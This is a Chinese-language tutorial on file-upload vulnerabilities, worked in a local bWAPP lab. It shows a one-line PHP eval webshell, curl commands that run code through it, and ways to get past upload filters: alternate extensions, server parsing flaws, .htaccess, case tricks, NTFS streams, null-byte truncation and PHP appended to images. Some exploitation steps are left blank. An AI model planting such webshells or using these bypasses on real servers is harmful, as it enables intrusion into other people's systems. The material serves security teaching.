webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是就是web的一个管理工具,可以对web服务器进行操作的权限。
webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。
关键函数:以php为例,eval(),执行用户输入的函数。
(1)登录本地的容器账户后,选择未经严格审计的文件上传功能
安全级别选择low,是一个比较低的安全级别,点击 hack。
(2)编辑木马文件并上传-PHP
<?php @eval($_POST['hacker']); ?> #取得post,hacker字段里的值,然后将这个值转换成php代码去执行
点击here,可以看到一句话木马文件已经上传到了下图的路径中。
(3)让Webshell执行命令
curl -d "hacker=echo get_current_user();" http://127.0.0.1/images/shell.php
curl -d "hacker=echo getcwd();" http://127.0.0.1/images/shell.php
此处介绍两个php api
get_current_user():获取服务所属用户名
getcwd():获取当前执行目录
操作见下图,服务器成功返回了用户名www-data及当前执行目录/app/images
将文件上传等级设置为 medium,上传文件后缀为php时,显示被拦截
*将后缀名php改为php3成功绕过,改为php30却失败了,上传shell.php30文件,服务器将文件当作txt文本进行了处理,直接打印了文件内容 *
(1)调试docker
docker container list -a #查看已经启动的docker容器
docker exec -it [id] bash #调试
(2)查看web服务器
netstat -antp | grep 80 #通过查看网络连接寻找正在托管web服务的主要服务器
bwapp使用的web server是apache2,通过配置文件可以了解到apach2e的语言解析模块文件路径 /etc/apache2/
(3)查看配置文件
cd etc/apache2/
vim apache2.conf
cd mods-enabled/
vim /etc/apache2/mods-enabled/php5.conf
通过配置文件可发现,php、php3、php5、phptml等文件后缀都可以被apache服务器解析,这也就是为什么刚刚上传的php3文件可被执行,php30不能被执行的原因。
漏洞1:当创建.asp的文件目录的时候,在此目录下的任意文件,服务器都解析为asp文件
漏洞2:服务器默认不解析“;”以后的内容
漏洞利用形式:
漏洞1:www.xxx.com/xx.asp/xx.jpg 会被解析成asp文件
漏洞2:www.xxx.com/xx.asp;.jpg 会被解析成为asp文件
在低版本Nginx中存在一个由PHP-CGI导致的文件解析漏洞。
PHP的配置文件中有一个关键的选项cgi.fix_pathinfo在本机中位于php.ini配置文件中,
默认是开启的。
当URL中有不存在的文件时,PHP就会默认向前解析。
漏洞利用流程:
Apache 在1.x和2.x版本中存在解析漏洞:
Apache从右至左开始判断后缀,跳过非可识别后缀,直到找到可识别后缀为止,
然后将该可识别后缀进解析。
漏洞利用流程:
很多网站、CMS 都有使用,只在前端利用 JavaScript 来做校验。
漏洞利用流程(两种方法都可以):
什么是.htaccess?
.htaccess文件(分布式配置文件)提供了一种方式,使得配置文件可以随文件夹不同而不同,其所放置的文件夹及所有子文件夹都会受此影响,其语法同apache主配置文件。
如何利用.htaccess?
场景:启用了.htaccess文件的网站,使用此文件类型来绕过限制较全面的***黑名单***过滤。
这是一种比较简单的绕过方式,同样针对***黑名单***。
如果我们想上传一个php木马,那么我们可以上传一个pHp即可。
windows平台大小写不敏感,LINUX系统大小写敏感,但是可以手工操作不敏感
什么是Windows文件流?
NTFS文件系统实现了多文件流特性,NTFS环境一个文件默认使用的是未命名的文件流,同时可创建其他命名
的文件流,Windows资源管理器默认不显示出文件的命名文件流,这些命名的文件流在功能上和默认使用的
未命名文件流一致,甚至可以用来启动程序。
我们来用Windows平台做一些测试:
可以看到黑名单会存在巨大的被绕过的风险,无论是服务器原因还是操作系统原因,那么白名单是否完全安全呢?
可以看出代码采用的白名单校验,只允许上传图片格式,理论上这个上传是不好绕过的。但是后面采用保存文件的时候,是路径拼接的形式,而路径又是从前端获取,所以我们可以采用在路径上截断。
(1)将shell.php改为shell.php.jpg
(2)打开burpsuit,拦截请求
(3)将shell.php.jpg改为 shell.png .jpg
(4)进入16进制
无法通过文件输入法打出截断符,可以通过改变16进制编码,改为截断符的编码
将20改为00
(5)关闭burp拦截
文件上传的地址变成了shell.png,变成了我们想要的文件类型
常见的文件头格式
以php语言为例,首先准备一个普通的png格式文件:
再准备一个用于测试的php文件,功能是输出‘test’字符串:
<?php echo 'test'; ?> #打印出test说明代码被成功执行了
将php文件内容追加到png文件内。
利用php,解析png文件,php代码被成功执行,说明我们可以通过把图片和代码进行聚合的方式,让它既满足文件头的标准校验,又满足代码的执行。